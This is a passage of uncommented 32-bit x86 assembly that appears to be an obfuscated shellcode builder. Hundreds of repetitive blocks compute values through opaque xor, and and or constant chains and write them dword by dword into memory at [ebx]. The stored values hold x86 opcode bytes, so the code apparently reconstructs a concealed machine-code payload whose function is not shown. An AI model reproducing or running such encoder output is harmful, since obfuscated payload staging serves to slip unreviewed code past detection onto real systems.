xor eax, 0x53bc66f0
or eax, 0x1121e92f
and eax, 0x11e0458b
or eax, 0x22140000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a5be304
or eax, 0x50fddfb9
and eax, 0x413bd805
or eax, 0x4000040
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e8d9e4
and eax, 0x30b58e0
or eax, 0x88002410
mov dword [ebx], eax
add ebx, edx
and eax, 0x25689344
xor eax, 0x285a5159
and eax, 0x9020009
or eax, 0x4409ac44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f5de518
and eax, 0x40440940
or eax, 0xac093280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26bf61c8
and eax, 0x40820808
or eax, 0x15090175
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c7487a7
and eax, 0x70d54129
and eax, 0xc00008
or eax, 0x10283f4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c54e351
and eax, 0x6b7931b9
and eax, 0x69100089
or eax, 0x80ec5500
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b8f563f
or eax, 0x78690c3
and eax, 0x2f8ed44a
or eax, 0xd0712a14
mov dword [ebx], eax
add ebx, edx
and eax, 0x50e59ee4
and eax, 0
or eax, 0x1b8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23a163d1
and eax, 0x216000
or eax, 0x4428900
mov dword [ebx], eax
add ebx, edx
and eax, 0x56c94799
xor eax, 0x3cf2e3c4
and eax, 0x8a00000
or eax, 0x2480000
mov dword [ebx], eax
add ebx, edx
and eax, 0x121e9270
and eax, 0x2000000
or eax, 0x89000149
mov dword [ebx], eax
add ebx, edx
and eax, 0xf5bafc0
and eax, 0x1000040
or eax, 0x6405bc05
mov dword [ebx], eax
add ebx, edx
or eax, 0x20166fb8
and eax, 0x1000041
or eax, 0x88000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26f1e71c
and eax, 0xd81a445
or eax, 0x400a1800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a9f40b2
and eax, 0x1581a291
and eax, 0x14000080
or eax, 0xa84d0360
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b6d88f3
and eax, 0xab600981
or eax, 0x40804408
mov dword [ebx], eax
add ebx, edx
or eax, 0x45ae6d7
and eax, 0xe0508b09
or eax, 0x50000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6267f169
and eax, 0x80004200
or eax, 0x9018083
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bd989f6
xor eax, 0x214dc01e
and eax, 0x40800041
or eax, 0x50be014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fd41e88
xor eax, 0x244cd3c6
and eax, 0x58012900
or eax, 0x804412e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x522d492a
and eax, 0x40900
or eax, 0x25a840f
mov dword [ebx], eax
add ebx, edx
or eax, 0x599b5266
and eax, 0x498b0000
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d97b324
or eax, 0x1e6ad179
and eax, 0x1c18340
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x20890561
xor eax, 0x3c157b4f
and eax, 0x8804809
or eax, 0x83400580
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b9acb32
and eax, 0x2c142f69
and eax, 0xc01
or eax, 0xc283f054
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ec48ac7
and eax, 0x8801
or eax, 0xfc550100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c6df87b
and eax, 0x590a886
and eax, 0x100002
or eax, 0x3a84589
mov dword [ebx], eax
add ebx, edx
or eax, 0xedbf419
and eax, 0x53bf401
or eax, 0x40000844
mov dword [ebx], eax
add ebx, edx
or eax, 0x26219bc9
and eax, 0x2c028415
and eax, 0x400
or eax, 0x8b4d78f8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ad003d9
xor eax, 0x33b6fd83
and eax, 0xc0038000
or eax, 0x180644d
mov dword [ebx], eax
add ebx, edx
and eax, 0x74e002f1
and eax, 0x40000001
or eax, 0xa44d8900
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b1f3392
or eax, 0x680b889a
and eax, 0x2b50118b
or eax, 0x10804400
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c8b12de
xor eax, 0x77f96f95
and eax, 0x8202040
or eax, 0x165dc415
mov dword [ebx], eax
add ebx, edx
and eax, 0x2880cc82
and eax, 0x4400
or eax, 0x33f8018b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10de191d
and eax, 0x1004004
or eax, 0x84898041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x388eb313
and eax, 0xbd077154
or eax, 0x42f88c08
mov dword [ebx], eax
add ebx, edx
and eax, 0x587c4e12
and eax, 0x784c00
or eax, 0x8380018b
mov dword [ebx], eax
add ebx, edx
and eax, 0x39406e92
xor eax, 0x5859b36f
and eax, 0x490901c1
or eax, 0x4800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b7b3339
or eax, 0x3cec4297
and eax, 0x1cad0390
or eax, 0x40108068
mov dword [ebx], eax
add ebx, edx
and eax, 0x62dd50fb
and eax, 0x9d00f8
or eax, 0x62ff05
mov dword [ebx], eax
add ebx, edx
or eax, 0x53f5d3b2
and eax, 0x518b1e75
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
and eax, 0xb093e3
and eax, 0x260
or eax, 0xf4550190
mov dword [ebx], eax
add ebx, edx
or eax, 0x18a862f8
xor eax, 0x2879bf15
and eax, 0xd4009489
or eax, 0x29580100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ee39bdd
and eax, 0x18b0e54
or eax, 0x4400f1ab
mov dword [ebx], eax
add ebx, edx
and eax, 0x34bf7e2a
and eax, 0x800220
or eax, 0x14081d4
mov dword [ebx], eax
add ebx, edx
and eax, 0x3290ef87
and eax, 0x800180
or eax, 0x83744409
mov dword [ebx], eax
add ebx, edx
or eax, 0x7037a265
or eax, 0x282935ad
and eax, 0xfbfd50ad
or eax, 0x4000810
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c06b8f9
and eax, 0x2ce6df53
and eax, 0x28040011
or eax, 0x537000ee
mov dword [ebx], eax
add ebx, edx
or eax, 0xa501e69
xor eax, 0x44da2cd7
and eax, 0x3bac0008
or eax, 0x504d83
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ad6a791
and eax, 0x28540401
or eax, 0x128b84c
mov dword [ebx], eax
add ebx, edx
or eax, 0x722f5d2f
and eax, 0x3b40550b
or eax, 0x800080
mov dword [ebx], eax
add ebx, edx
or eax, 0x12e05799
xor eax, 0x39c54241
and eax, 0x241050
or eax, 0x2158a005
mov dword [ebx], eax
add ebx, edx
or eax, 0x45276436
and eax, 0x21344403
or eax, 0x1a800188
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cf2185b
xor eax, 0x44a6c321
and eax, 0x1814c000
or eax, 0x1682845
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d4d581b
and eax, 0x178480b
or eax, 0x82800580
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3173a6b8
xor eax, 0x4eabc4cd
and eax, 0x4c0001c0
or eax, 0x1890001
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb2a09e0
and eax, 0x44010820
or eax, 0x805483d8
mov dword [ebx], eax
add ebx, edx
and eax, 0x79978896
xor eax, 0x26d0966d
and eax, 0x64c01421
or eax, 0x10384102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x270e84e3
and eax, 0x1dc4be41
and eax, 0x10448040
or eax, 0xa8010b12
mov dword [ebx], eax
add ebx, edx
xor eax, 0x428f0639
or eax, 0x276ebb90
and eax, 0x7dcc053b
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8830a41
and eax, 0x244d0b4a
or eax, 0x88008000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2cf319fd
and eax, 0x24400900
or eax, 0x51904403
mov dword [ebx], eax
add ebx, edx
and eax, 0x65401e1
or eax, 0x31c28e14
and eax, 0x14508b11
or eax, 0xc8050028
mov dword [ebx], eax
add ebx, edx
xor eax, 0x117c6375
or eax, 0xc7441d8
and eax, 0x45784100
or eax, 0x30801423
mov dword [ebx], eax
add ebx, edx
or eax, 0x337b1d2d
and eax, 0x60410921
or eax, 0x88048210
mov dword [ebx], eax
add ebx, edx
or eax, 0x430bdb66
and eax, 0x69444133
or eax, 0x14900408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17966680
and eax, 0x28000308
or eax, 0x1085c404
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d398981
and eax, 0x4c082da0
and eax, 0x80d80
or eax, 0x1f7f27f
mov dword [ebx], eax
add ebx, edx
or eax, 0x11635f4f
and eax, 0x1000000
or eax, 0xea000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x743ec738
and eax, 0x1804c708
or eax, 0x20810002
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ad19769
and eax, 0xd5d76b
or eax, 0x2a2894
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17af8d63
and eax, 0x3000000
or eax, 0x88000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x726260d7
and eax, 0
or eax, 0x8d23c04d
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe28c38b
and eax, 0x830b0300
or eax, 0x7cf4fc38
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b0fb1c9
xor eax, 0x25baa67a
and eax, 0x10a0801
or eax, 0x54810074
mov dword [ebx], eax
add ebx, edx
and eax, 0x23e88f88
or eax, 0x4db50cb4
and eax, 0x4c150884
or eax, 0xa0403340
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ffae42e
and eax, 0x4000004
or eax, 0x418b0979
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4aef2c46
and eax, 0x1400128
or eax, 0x8082c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x48f9931c
and eax, 0x1621c3a2
and eax, 0x100
or eax, 0x8bec4489
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b77975e
and eax, 0x63b3804
and eax, 0x200000
or eax, 0x4d0bac4d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a80ca2f
and eax, 0x4dfb219b
and eax, 0x1012000
or eax, 0x8a1054bc
mov dword [ebx], eax
add ebx, edx
or eax, 0x27803235
and eax, 0xaa817015
or eax, 0x40028040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d2995f2
and eax, 0x1495a745
and eax, 0x101
or eax, 0xf0558800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a4314b4
and eax, 0x1a100581
or eax, 0x21e0400a
mov dword [ebx], eax
add ebx, edx
or eax, 0x383425bb
or eax, 0x7969e7c4
and eax, 0x6b7cc045
or eax, 0x4000800
mov dword [ebx], eax
add ebx, edx
or eax, 0x66109f99
and eax, 0x2bf64320
and eax, 0x3604100
or eax, 0x80880c8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cfd7a3a
and eax, 0xd8901a9
or eax, 0x40000040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x720eee83
or eax, 0x6892c967
and eax, 0x7c158b68
or eax, 0x80400080
mov dword [ebx], eax
add ebx, edx
or eax, 0x35674f53
and eax, 0x7c60453b
or eax, 0x881000
mov dword [ebx], eax
add ebx, edx
and eax, 0x66fe67d4
or eax, 0x2e2430ab
and eax, 0x4c44011a
or eax, 0x80018a44
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e779e62
or eax, 0x4f94776
and eax, 0x4c548500
or eax, 0xb1000089
mov dword [ebx], eax
add ebx, edx
or eax, 0x3db2a90a
and eax, 0x4d82ad8b
or eax, 0x95274
mov dword [ebx], eax
add ebx, edx
and eax, 0x43a493ce
and eax, 0x6f8113f
and eax, 0x800100
or eax, 0x500d88d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c440af5
and eax, 0x8cd8bf5
or eax, 0x83327408
mov dword [ebx], eax
add ebx, edx
and eax, 0x26b0564c
and eax, 0x3d097ad3
and eax, 0x4040
or eax, 0xea838c15
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e6b7c90
xor eax, 0x655f3dfd
and eax, 0x4c540101
or eax, 0x80018800
mov dword [ebx], eax
add ebx, edx
or eax, 0x49e60cd2
xor eax, 0x10de83f5
and eax, 0xdd000402
or eax, 0x20548189
mov dword [ebx], eax
add ebx, edx
and eax, 0x28851224
and eax, 0
or eax, 0x853bffff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6abd5ca3
xor eax, 0x3d87cbdb
and eax, 0xd2016800
or eax, 0x2dfe9550
mov dword [ebx], eax
add ebx, edx
or eax, 0x556c0d3d
and eax, 0x85c70c7d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0xd9aaad0
and eax, 0x2f30ad8b
and eax, 0xd10ac00
or eax, 0xf2ef5334
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52877530
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7571e518
and eax, 0x21cbe5c6
and eax, 0x1410000
or eax, 0x84860aeb
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e58bdc1
and eax, 0x5cdd010d
and eax, 0x4400000
or eax, 0xfbbfff34
mov dword [ebx], eax
add ebx, edx
or eax, 0xfe2ddd8
xor eax, 0x659c0d31
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x32108463
and eax, 0x238c3b74
and eax, 0
or eax, 0x83b84d8b
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f527919
and eax, 0x1000109
or eax, 0x4c8900e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x374a509a
or eax, 0x31acc964
and eax, 0x384589b8
or eax, 0x80100200
mov dword [ebx], eax
add ebx, edx
or eax, 0x71ce2946
and eax, 0xf9148132
or eax, 0x6201401
mov dword [ebx], eax
add ebx, edx
and eax, 0x38946ca8
and eax, 0x38140420
or eax, 0x60fbdf
mov dword [ebx], eax
add ebx, edx
or eax, 0x27c6ba60
and eax, 0xfd4458b
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e0c1573
and eax, 0x4000503
or eax, 0x81b040ac
mov dword [ebx], eax
add ebx, edx
and eax, 0x329ef299
and eax, 0x4080
or eax, 0x8b2d3440
mov dword [ebx], eax
add ebx, edx
or eax, 0x412d3629
and eax, 0xc9017449
or eax, 0x20828804
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d1ddfb8
and eax, 0x68018800
or eax, 0x944c0101
mov dword [ebx], eax
add ebx, edx
or eax, 0x57d1625
and eax, 0x9501501
or eax, 0x280408a
mov dword [ebx], eax
add ebx, edx
and eax, 0x498105e
and eax, 0x101000
or eax, 0x552bec55
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bcb5625
xor eax, 0x5909fc40
and eax, 0x3195430
or eax, 0x880029c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x658eca1d
or eax, 0x4d4a87ec
and eax, 0x451bb045
or eax, 0x204800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c5e28d6
and eax, 0x9015090
or eax, 0x82102d64
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77c0ffaf
and eax, 0x4c118049
or eax, 0x12a6804
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f728eb9
and eax, 0x9000808
or eax, 0x820975a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x6606a37c
and eax, 0x2000004
or eax, 0xc083cc51
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5519445c
or eax, 0x1c7b1fa8
and eax, 0x8c518901
or eax, 0x40040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x159bcbc4
or eax, 0x4dab358d
and eax, 0x81cc4589
or eax, 0x2000002
mov dword [ebx], eax
add ebx, edx
and eax, 0x71253f57
and eax, 0x1000100
or eax, 0x448900c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1239201c
and eax, 0x3e1800f
and eax, 0x10000
or eax, 0xd44c8bcc
mov dword [ebx], eax
add ebx, edx
and eax, 0x58d1563a
and eax, 0x10000
or eax, 0x8900c183
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78db3896
or eax, 0x26509aaf
and eax, 0x558ad00d
or eax, 0x10440
mov dword [ebx], eax
add ebx, edx
or eax, 0x24629beb
and eax, 0x1ea83a4
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
or eax, 0x3be103fa
xor eax, 0x11abd9e9
and eax, 0xa005001
or eax, 0x81b40588
mov dword [ebx], eax
add ebx, edx
xor eax, 0x759bcd34
and eax, 0xc0038805
or eax, 0x806440
mov dword [ebx], eax
add ebx, edx
or eax, 0x63126449
and eax, 0xe0018801
or eax, 0xc440100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a30a99b
or eax, 0x73c33b7c
and eax, 0x81f4098a
or eax, 0x8004401
mov dword [ebx], eax
add ebx, edx
or eax, 0x37066c91
and eax, 0xbff44c89
or eax, 0x40090004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ee548c6
or eax, 0x38939e59
and eax, 0x90118a5b
or eax, 0x404401a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x309ec072
xor eax, 0x455abc07
and eax, 0xa5009588
or eax, 0x58480001
mov dword [ebx], eax
add ebx, edx
and eax, 0x1438cd90
or eax, 0x1f2a2ce7
and eax, 0x50aade7
or eax, 0x40815218
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c53f162
and eax, 0xd7ca5b5
and eax, 0x8100
or eax, 0x1c002d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26bdbd2f
xor eax, 0x4d890c7a
and eax, 0xad00081
or eax, 0x81004508
mov dword [ebx], eax
add ebx, edx
or eax, 0x46c3c0d1
xor eax, 0x424dbc9
and eax, 0xcbf50c00
or eax, 0x3408408d
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d57f6e2
and eax, 0x8050080
or eax, 0x40883b7f
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b4afe2e
and eax, 0x4109a9f6
and eax, 0x40082824
or eax, 0x3df7d7d9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x443c11e5
and eax, 0x28418a10
or eax, 0xc0140162
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a67e3bf
and eax, 0x40304009
or eax, 0x3cc81532
mov dword [ebx], eax
add ebx, edx
xor eax, 0x422bf464
and eax, 0x3c418118
or eax, 0xc0040a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bf5f9a2
and eax, 0x7dd0413a
or eax, 0x401
mov dword [ebx], eax
add ebx, edx
or eax, 0x70870a71
xor eax, 0x230fe1ea
and eax, 0x5c488a00
or eax, 0x80050108
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ac9ccb9
and eax, 0x5cc04d39
or eax, 0x20000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x622559ba
and eax, 0xc450000
or eax, 0xc0108b08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25915e80
and eax, 0x69805508
or eax, 0x14300033
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6feecd47
and eax, 0x448850
or eax, 0xc8010302
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a273007
and eax, 0xc8448101
or eax, 0x35000488
mov dword [ebx], eax
add ebx, edx
and eax, 0x2af79b61
and eax, 0x8008101
or eax, 0x458b7efe
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75a3cb6e
and eax, 0x80090
or eax, 0x4085892c
mov dword [ebx], eax
add ebx, edx
or eax, 0x760ef1e0
and eax, 0x28ff9fc
or eax, 0x89700601
mov dword [ebx], eax
add ebx, edx
or eax, 0x3658385a
and eax, 0x8283c855
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
or eax, 0xb5a4e4c
and eax, 0x3645a474
and eax, 0x418000
or eax, 0xc8140901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a1076ee
and eax, 0x7b23f525
and eax, 0x50008501
or eax, 0xad44008a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7144705f
and eax, 0x8400f5d4
or eax, 0x13b0a2b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4afbe306
and eax, 0xcffbfd40
or eax, 0x30040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x8cb0ba0
and eax, 0x769ad19d
and eax, 0x448a0000
or eax, 0x901207c
mov dword [ebx], eax
add ebx, edx
or eax, 0x48f2b4c
and eax, 0x400d2b78
or eax, 0x80400080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31c930b4
and eax, 0x51801844
or eax, 0x40b0031
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e2eb825
and eax, 0x50053854
or eax, 0xa0500380
mov dword [ebx], eax
add ebx, edx
and eax, 0xdf6286e
and eax, 0x844
or eax, 0x458b1139
mov dword [ebx], eax
add ebx, edx
or eax, 0x65c18fa5
and eax, 0x712b00f4
and eax, 0x600100b4
or eax, 0x8c440300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46394677
or eax, 0x748da19f
and eax, 0x4c890154
or eax, 0x1021020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x759e5c89
and eax, 0x18581b3c
and eax, 0x18000910
or eax, 0xc44d32c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34fc14b3
and eax, 0x40810961
or eax, 0x150a001c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x689453ba
and eax, 0x10202c4
or eax, 0xc08128
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b5e395f
or eax, 0xa7ed3b7
and eax, 0x28ec5181
or eax, 0xc1000408
mov dword [ebx], eax
add ebx, edx
or eax, 0x6301de88
or eax, 0x1920d0bb
and eax, 0xfbeddd89
or eax, 0x4122004
mov dword [ebx], eax
add ebx, edx
or eax, 0xd7c5f66
and eax, 0x3c24ce8
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x11ee3c0f
and eax, 0x440800
or eax, 0xe0018300
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d5240b6
and eax, 0x7a87ef29
and eax, 0
or eax, 0xfa42d
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a588dac
or eax, 0x2e73e4b9
and eax, 0x20458900
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e5a1e18
and eax, 0x400800
or eax, 0x3b0458b
mov dword [ebx], eax
add ebx, edx
and eax, 0x42b1ab49
and eax, 0x800009
or eax, 0x4d09e044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7af69fb8
and eax, 0x3096bf0
or eax, 0x88008000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7287fecd
and eax, 0x15fa1272
and eax, 0x821050
or eax, 0xc201e005
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ff20266
or eax, 0x6145e0e1
and eax, 0xe0558001
or eax, 0x10000900
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f5f2734
xor eax, 0x3f9f316c
and eax, 0xc00409
or eax, 0x3b304182
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76c8d5b9
or eax, 0x71b3ad63
and eax, 0xd0b8041
or eax, 0x80044004
mov dword [ebx], eax
add ebx, edx
or eax, 0x33aa5f2b
and eax, 0x16e
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
or eax, 0x9ef1510
and eax, 0x1c4050a
or eax, 0x82104881
mov dword [ebx], eax
add ebx, edx
or eax, 0x1325b85a
or eax, 0x544187c0
and eax, 0x458101c1
or eax, 0x8080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x347f1c86
and eax, 0x1eea55e2
and eax, 0x4000080
or eax, 0xd0558b54
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ba277f0
xor eax, 0x1e56baa6
and eax, 0x5c041132
or eax, 0x20a84409
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2844a964
and eax, 0x1040880b
or eax, 0xa0050300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45824773
and eax, 0x31c44428
or eax, 0xa280103
mov dword [ebx], eax
add ebx, edx
or eax, 0x27a3026a
and eax, 0x96d4441
or eax, 0x108804
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e63940e
and eax, 0x600400
or eax, 0x8384498b
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c73966e
or eax, 0x66018751
and eax, 0x4d8101c1
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33e6771b
xor eax, 0x4a7cdba7
and eax, 0x118964
or eax, 0xc8440280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26e2d290
and eax, 0x88014800
or eax, 0x100a283
mov dword [ebx], eax
add ebx, edx
or eax, 0xfbffe80
and eax, 0x58bc801
or eax, 0x40000054
mov dword [ebx], eax
add ebx, edx
and eax, 0x645a136e
and eax, 0x80040
or eax, 0x1e083b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x3013a2a4
xor eax, 0x700e3789
and eax, 0x1f00401
or eax, 0x8a084188
mov dword [ebx], eax
add ebx, edx
and eax, 0xc82765c
or eax, 0x58fcca41
and eax, 0x4080c849
or eax, 0x81033004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x417fbb37
or eax, 0xd732d8a
and eax, 0x884d0900
or eax, 0x70008001
mov dword [ebx], eax
add ebx, edx
and eax, 0x48e7dd98
and eax, 0x58405898
and eax, 0x8400000
or eax, 0x3398558b
mov dword [ebx], eax
add ebx, edx
or eax, 0x43345244
or eax, 0x6243ed31
and eax, 0x87dec55
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59081170
and eax, 0x55308505
or eax, 0xaa0000c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x6062cc68
and eax, 0xd3d03d7
and eax, 0x1c7
or eax, 0x1fe38
mov dword [ebx], eax
add ebx, edx
or eax, 0x62a2a89b
and eax, 0x2a30000
or eax, 0x8480000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x596aeea2
and eax, 0x53008482
or eax, 0xac300145
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b3109fa
and eax, 0x8dff
or eax, 0x7200
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bcada5
and eax, 0x1880000
or eax, 0x44030000
mov dword [ebx], eax
add ebx, edx
or eax, 0x41865a92
and eax, 0xc3cea57
and eax, 0x40a00
or eax, 0x308101cc
mov dword [ebx], eax
add ebx, edx
and eax, 0xd4c4447
or eax, 0x12912dd1
and eax, 0x10952dd5
or eax, 0x656ad22a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x130e2648
xor eax, 0x66dbc4cf
and eax, 0x80918
or eax, 0xb4458203
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b5693f8
xor eax, 0x5dbd4683
and eax, 0x2e04d38
or eax, 0xd080003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f54dda4
or eax, 0x75432f8e
and eax, 0x958d
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1798226a
and eax, 0x108300
or eax, 0xe0450800
mov dword [ebx], eax
add ebx, edx
and eax, 0x24cc368d
and eax, 0x20440000
or eax, 0x1bb85503
mov dword [ebx], eax
add ebx, edx
and eax, 0x698c6e6f
or eax, 0x3aff2567
and eax, 0x90f6045
or eax, 0x84009810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57aaa600
and eax, 4
or eax, 0x82
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3837563f
and eax, 0x8044489
or eax, 0x7c80102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ae38a36
xor eax, 0x7763a59b
and eax, 0x404026
or eax, 0x89a00589
mov dword [ebx], eax
add ebx, edx
or eax, 0x392e5026
or eax, 0x21ad6bbc
and eax, 0xb9ed3c85
or eax, 0x46100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a8cec85
or eax, 0x16ad0dc2
and eax, 0xc44d89c7
or eax, 0x238
mov dword [ebx], eax
add ebx, edx
and eax, 0x739d7cd1
xor eax, 0x7edeb15
and eax, 0x45208180
or eax, 0xb8180c09
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb73b073
or eax, 0x733aaa56
and eax, 0x550bbffe
or eax, 0x804001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3be7889c
xor eax, 0x32d5c40c
and eax, 0x10203e0
or eax, 0xc08000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2196d28
and eax, 0x100
or eax, 0x8be05489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34935b0e
xor eax, 0x5d5829c9
and eax, 0xe2292404
or eax, 0x1dd41881
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22ba6c3
and eax, 0x7574a294
and eax, 0x30040204
or eax, 0x88139fb
mov dword [ebx], eax
add ebx, edx
and eax, 0x24f06eab
and eax, 0x6b609964
and eax, 0x20000820
or eax, 0x5dfff7dd
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a1e7d56
and eax, 0x380c0904
or eax, 0xc0418228
mov dword [ebx], eax
add ebx, edx
and eax, 0x73840144
and eax, 0x100
or eax, 0x89b04c23
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39473ec1
and eax, 0xb0f53080
or eax, 0x4f08040d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23e71632
xor eax, 0x280fb03
and eax, 0xd41089bc
or eax, 0x20450243
mov dword [ebx], eax
add ebx, edx
or eax, 0x46e7b56e
xor eax, 0x51409f44
and eax, 0xa5300089
or eax, 0x58009500
mov dword [ebx], eax
add ebx, edx
and eax, 0x5536729f
xor eax, 0x1b3e7f62
and eax, 0x440a6feb
or eax, 0x1819014
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e11541f
